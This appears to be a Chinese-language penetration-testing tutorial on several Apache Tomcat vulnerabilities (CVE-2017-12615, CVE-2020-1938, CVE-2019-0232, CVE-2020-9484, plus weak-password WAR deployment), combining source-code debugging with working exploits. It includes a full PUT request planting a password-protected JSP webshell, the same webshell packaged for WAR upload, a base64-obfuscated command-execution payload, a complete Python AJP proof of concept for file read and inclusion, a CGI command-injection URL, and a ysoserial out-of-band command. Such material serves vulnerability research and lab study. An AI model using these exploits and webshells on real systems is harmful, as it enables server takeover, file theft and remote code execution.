Tomcat系列
Tomcat系列
简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat 很受广大程序员的喜欢,因为它运行时占用的系统资源小,扩展性好,支持负载平衡与邮件服务等开发应用系统常用的功能。
环境下载:
https://archive.apache.org/dist/tomcat/
CVE-2017-12615(任意文件写入)
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat 8.5.19
环境搭建:这里使用的是vulhub的环境,其中的conf/web.xml
如下:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
<load-on-startup>1</load-on-startup>
</servlet>
这里的readonly设置为false,这是漏洞产生的主要原因之一
readonly 的作用是限制对部署在该 Tomcat 实例上的 Web 应用程序文件的修改操作。当设置为 true 时,表示该 Tomcat 实例处于只读模式,禁止对部署的 Web 应用程序进行修改或删除操作。
漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件的,因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了,而JspServlet中没有PUT上传的逻辑,只允许GET POST HEAD
, PUT的代码实现只存在于DefaultServlet中。
这个漏洞的根本是通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。
目前主要有以下方法:
- test.jsp::$DATA —–>适用于windows环境
- test.jsp/ —–>适用于linux环境
- test.jsp%20 —–>适用于windows环境
利用这两种姿势PUT请求tomcat的时候,骗过tomcat而进入DefaultServlet处理的逻辑。
调试分析
假设test.jsp存在,内容随机
当PUT请求路径为/test.jsp时,进入的是JspServlet
PUT请求路径为/test.jsp时,进入的是DefaultServlet
先是来到javax.servlet.http.HttpServlet#service(), 这里会根据请求方法调用不同的方法处理,这里调用的是doPut
然后就来到了DefaultServlet的doPut
方法
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
InputStream resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var13) {
}
}
}
}
}
开头就先判断readOnly是否开启,如果为true,则返回状态码403,根据web.xml设置,这里是false
然后通过getRelativePath(req)
获取请求路径/test.jsp/
然后在this.resources.write(path, (InputStream)resourceInputStream, true)
进行内容写入,将请求中的输入流保存到指定的资源文件中,也就是test.jsp
- 如果写入操作成功,则进入第一个分支条件。
- 如果被写入的资源文件存在,表示更新已有资源,则设置响应状态码为 204(No Content)。
- 如果被写入的资源文件不存在,表示创建新的资源,则设置响应状态码为 201(Created)。
- 如果写入操作失败,则进入第二个分支条件,使用
resp.sendError(409)
发送一个状态码为 409(Conflict)的错误响应
跟进this.resources.write
public boolean write(String path, InputStream is, boolean overwrite) {
path = this.validate(path);
if (!overwrite && this.preResourceExists(path)) {
return false;
} else {
boolean writeResult = this.main.write(path, is, overwrite);
if (writeResult && this.isCachingAllowed()) {
this.cache.removeCacheEntry(path);
}
return writeResult;
}
}
这里调用 this.main.write(path, is, overwrite)
方法执行实际的写入操作,并将写入结果保存在 writeResult
变量中
继续跟进这个write方法
经过前面的检查和处理后,使用Files.copy
将内容写入文件
后面利用就是写jsp马getshell了
PUT /test.jsp/ HTTP/1.1
Host: 192.168.79.144:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 662
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问/test.jsp?pwd=123&cmd=id
综上,漏洞利用的两个要点,1. readonly 2.文件名绕过
CVE-2020-1938(文件包含)
漏洞影响范围:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
Tomcat根据默认配置(conf/server.xml)启动两个连接器:
一个是HTTP Connector默认监听8080端口处理HTTP请求
一个AJP connector默认8009端口处理AJP请求,也就是AJP协议端口
漏洞出现在通过设置AJP请求属性,可控制AJP连接器封装的request对象的属性,最终导致文件包含可以任意文件读取和代码执行。
为了能够调试运行,先解决如何发起一个AJP请求
这里使用的是AJPy 这个python库 https://github.com/hypn0s/AJPy
tomcat使用org.apache.coyote.ajp.AjpProcessor
这个类来处理AJP请求
在org.apache.coyote.ajp.AjpProcessor
这里的service方法中 会调用一个prepareRequest()
方法
在这个方法里面可以对request对象的Attribute属性进行赋值,键值都可控
任意文件读取
Attribute属性赋值后,如果请求路径不含jsp或jspx,会来到org.apache.catalina.servlets.DefaultServlet的doGet方法
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
this.serveResource(request, response, true, this.fileEncoding);
}
跟进serveResource
这里调用了一个getRelativePath方法获取路径path,跟进查看这个路径是如何获取的
首先取出request对象的Attribute属性中的javax.servlet.include.request_uri
,查看对应值是否为null ,如果不为空则继续获取
javax.servlet.include.path_info
javax.servlet.include.servlet_path
这两个的值,保存到pathInfo和servletPath , 这三个的值可以通过上面的prepareRequest()
控制
往下就是拼接路径并返回得到的路径
StringBuilder result = new StringBuilder();
if (servletPath.length() > 0) {
result.append(servletPath);
}
if (pathInfo != null) {
result.append(pathInfo);
}
if (result.length() == 0 && !allowEmptyPath) {
result.append('/');
}
return result.toString();
得到自定义的路径之后,通过this.resources.getResource(path)
获取到了path对应的资源对象
在这个getResource
里面会调用org.apache.tomcat.util.http.RequestUtil
的normalize方法
在这里会对path路径进行一些处理,如果存在./
或../
则会返回null
,最终会抛出一个非法路径的异常终止文件读取操作。
然后资源对象的内容随着resourceBody
被写入了ostream
流对象中返回给客户端。
综上所述,可以通过AJP协议控制
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
的值即可读取tomcat/webapps/下的任意文件
本地文件包含
如果请求路径存在.jsp或.jspx
经过org.apache.coyote.ajp.AjpProcessor处理后会使用org.apache.jasper.servlet.JspServlet来处理请求
这里也是进行了路径拼接,也是通过获取javax.servlet.include.servlet_path和javax.servlet.include.path_info拼接,得到/1.txt
往下会执行到serviceJspFile()
跟进这个方法
由我们控制的jspuri
被封装成了一个JspServletWrapper
添加到了Jsp运行上下文JspRuntimeContext
中.最后wrapper.service()
会将1.txt里面的内容编译,生成.java和.class 并执行
例如通过文件上传,上传1.txt到了webapps/ROOT/下
txt里面的内容如下,就下执行命令cat /etc/passwd > pwn.txt
<%
Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9ldGMvcGFzc3dkID4gcHduLnR4dA==}|{base64,-d}|{bash,-i}");
%>
然后触发漏洞后会执行命令生成了pwn.txt,在/usr/local/tomcat/目录下,而且还发现
/work/Catalina/localhost/ROOT/org/apache/jsp/_1_txt.java
这个文件就包含了txt里面的内容
使用AJPy 这个python库 https://github.com/hypn0s/AJPy写POC , 作者已经写好了,改改就能用
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from termcolor import *
from urllib.parse import urlparse
import socket
import argparse
import threading
import traceback
# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port=8009):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb")
def perform_request(self, req_uri, headers={}, method='GET', attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(
self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
return snd_hdrs_res, data_res
def readFile(host, port, webapp, filepath):
bf = Tomcat(host, port);
attributes = [
{
"name": "req_attribute", "value": (
"javax.servlet.include.request_uri",
"/",)
},
{
"name": "req_attribute", "value": (
"javax.servlet.include.path_info",
filepath,)
},
{
"name": "req_attribute", "value": (
"javax.servlet.include.servlet_path",
"/",)
},
]
try:
hdrs, data = bf.perform_request("/" + webapp + "/xxxx", attributes=attributes)
except:
print(colored('read error!', 'red'))
return False
for i in data:
print(colored(i.data.decode('utf-8'), 'green'))
if (data is None or hdrs.http_status_code != 200):
print(colored('read error!', 'red'))
def LocalFileInclude(host, port, webapp, filepath):
bf = Tomcat(host, port);
attributes = [
{
"name": "req_attribute", "value": (
"javax.servlet.include.request_uri",
"/",)
},
{
"name": "req_attribute", "value": (
"javax.servlet.include.path_info",
filepath,)
},
{
"name": "req_attribute", "value": (
"javax.servlet.include.servlet_path",
"/",)
},
]
try:
hdrs, data = bf.perform_request("/" + webapp + "/xxxx.jsp", attributes=attributes)
except:
print(colored('read error!', 'red'))
return False
for i in data:
print(colored(i.data.decode('utf-8'), 'green'))
if (data is None or hdrs.http_status_code != 200):
print(colored('read error!', 'red'))
if __name__ == "__main__":
LocalFileInclude("127.0.0.1",8009, "ROOT", "1.txt")
# readFile("127.0.0.1",8009, "ROOT", "1.txt")
弱口令&war远程部署
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限
Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在conf/tomcat-users.xml
文件中配置用户的权限:
可见,用户tomcat拥有上述所有权限,密码是tomcat
。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
点击Manager App进行登录
登录后成功来到后台管理处
找到上传点上传木马
这里要求上传的是WAR
文件,其本质上是个压缩包
写个shell.jsp ,压缩成zip后将扩展名修改为war
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
上传成功
访问木马所在的目录
http://192.168.79.147:8080/shell/shell.jsp?pwd=123&&cmd=id
CVE-2019-0232(远程代码执行)
影响范围
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
条件:
该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。
该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
环境搭建
这里使用的是tomcat 9.0.10 + jdk 17
首先进行CGI相关的配置,在 conf/web.xml
中启用CGIServlet:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
这里主要的设置是 enableCmdLineArguments
和 executable
两个选项。 enableCmdLineArguments
启用后才会将Url中的参数传递到命令行, executable
指定了执行的二进制文件,默认是 perl
,需要置为空才会执行文件本身。
同样在 conf/web.xml
中启用cgi的servlet-mapping
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
之后修改 conf/context.xml
的 <Context>
添加 privileged="true"
属性,否则会没有权限
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
然后在 ROOT\WEB-INF
下创建 cgi-bin
目录, 并在该目录下创建一个 1.bat
文件,内容随意,例如echo 1
配置完成后,启动tomcat,访问 http://127.0.0.1:8080/cgi-bin/1.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig.exe
,可以看到命令执行成功
注意: &后面执行的命令要使用绝对路径(这里要url编码),如果命令有参数,使用+
号代替空格 —–后面有解释
调试分析
这请求会在org.apache.catalina.servlets.CGIServlet这个Servlet处理,
因为是get的请求,所有会调用doGet(), 在这个方法中先new一个CGIEnvironment
对象
跟进构造方法
protected CGIEnvironment(HttpServletRequest req, ServletContext context) throws IOException {
this.setupFromContext(context);
this.setupFromRequest(req);
this.valid = this.setCGIEnvironment(req);
if (this.valid) {
this.workingDirectory = new File(this.command.substring(0, this.command.lastIndexOf(File.separator)));
} else {
this.workingDirectory = null;
}
}
第二行调用了setupFromRequest()方法,跟进
这里又看到了javax.servlet.include.*
, 估计可以使用AJP协议来利用这个漏洞,但没必要这么麻烦,这里走的是else的分支
往下很重要
if (CGIServlet.this.enableCmdLineArguments && (req.getMethod().equals("GET") || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) {
String qs;
if (isIncluded) {
qs = (String)req.getAttribute("javax.servlet.include.query_string");
} else {
qs = req.getQueryString();
}
if (qs != null && qs.indexOf(61) == -1) {
StringTokenizer qsTokens = new StringTokenizer(qs, "+");
while(qsTokens.hasMoreTokens()) {
this.cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(), CGIServlet.this.parameterEncoding));
}
}
}
首先检查是否开启了enableCmdLineArguments
,这个在搭建环境的时候在web.xml开启了 ,然后查看请求方法是否为GET/POST/HEAD
如果满足条件进入if语句
进入if后,通过qs = req.getQueryString()给qs赋值赋值,这个qs是获取get方法的请求参数,就是?
后面的所有东西
qs = &C%3A%5CWindows%5CSystem32%5Ccalc.exe
往下又一个if语句,这里判断的是qs是否不为空并且qs里面不能存在=
号,满足条件进入if语句 ,创建StringTokenizer对象,通过+
号来分割出命令和参数,然后urldecode
后添加到cmdLineParameters
这个数组对象中
返回到doGet方法进入if语句
先new一个CGIRunner
对象
protected CGIRunner(String command, Hashtable<String, String> env, File wd, ArrayList<String> params) {
this.command = command;
this.env = env;
this.wd = wd;
this.params = params;
this.updateReadyStatus();
}
在这里设置了执行的命令,参数,环境,和运行目录
往下执行cgi.run()
,跟进
这里会判断command中是否存在\.\
或者\..
或..\
,如果不存在则进入if语句
往下就是构造号参数,执行命令
public Process exec(String[] cmdarray,String[] envp,File dir)—-在指定环境和工作目录的独立进程中执行指定的命令和变量
因为这里指定了环境,在指定的环境中没又系统环境变量,不能执行执行calc
,要使用这个命令的文件绝对路径
这里的&
就相当于命令拼接,也可以使用&&
或|
为什么这个漏洞只能在windows系统实现,参考https://xz.aliyun.com/t/4875#toc-1
总的来说就行命令执行底层的实现不一样,
manager App暴力破解
访问后台登录页/manager/html,输入账号密码抓包
base64解密发现是账号密码
然后就可以根据这个规则进行爆破账号密码了
CVE-2020-9484(session反序列化漏洞)
影响版本:
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
环境搭建:
修改tomcat路径conf目录下的context.xml 在<Context>
标签内加入以下配置
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
为了方便burp抓包,修改server.xml端口为80
漏洞代码如下:
在org.apache.catalina.session.FileStore
这里对file的内容进行了反序列化,file是由参数id确定的,而id是Cookie中的JSESSIONID,即tomcat的sessionid
设置Cookie 调试
Cookie: JSESSIONID=aaa
可以看到id=aaa,跟进这个file()
这里获取文件名,文件名是id拼接了.session
返回的文件路径是拼接的,在当前路径ROOT下拼接文件名,这里可以目录穿越
返回后还要检查文件是否存在,才能进行后面的反序列化操作
if (file != null && file.exists()) {
Context context = this.getManager().getContext();
Log contextLog = context.getLogger();
...
思路是找到利用链,生成序列化后的文件为xxx.session文件,然后通过JSESSIONID
指定路径进行反序列化触发利用链
利用链的寻找要根据具体的情况来定,这里使用URLDNS这条链来测试,直接利用ysoserial生成
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://3ceda1c3.dnslog.click." > test.session
然后将test.session放到\work\Catalina\localhost\temp\sessions
下,ROOT和temp是同级目录
然后设置Cookie
JSESSIONID=../temp/sessions/test
获取到正确路径进入if语句执行了反序列化
结果如下:
URLDNS利用链被利用说明存在反序列化漏洞
修复:在 java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效
总结:
利用难度大,不是默认配置,需要手动修改配置,还有文件后缀为.session ,还需要执行.session文件路径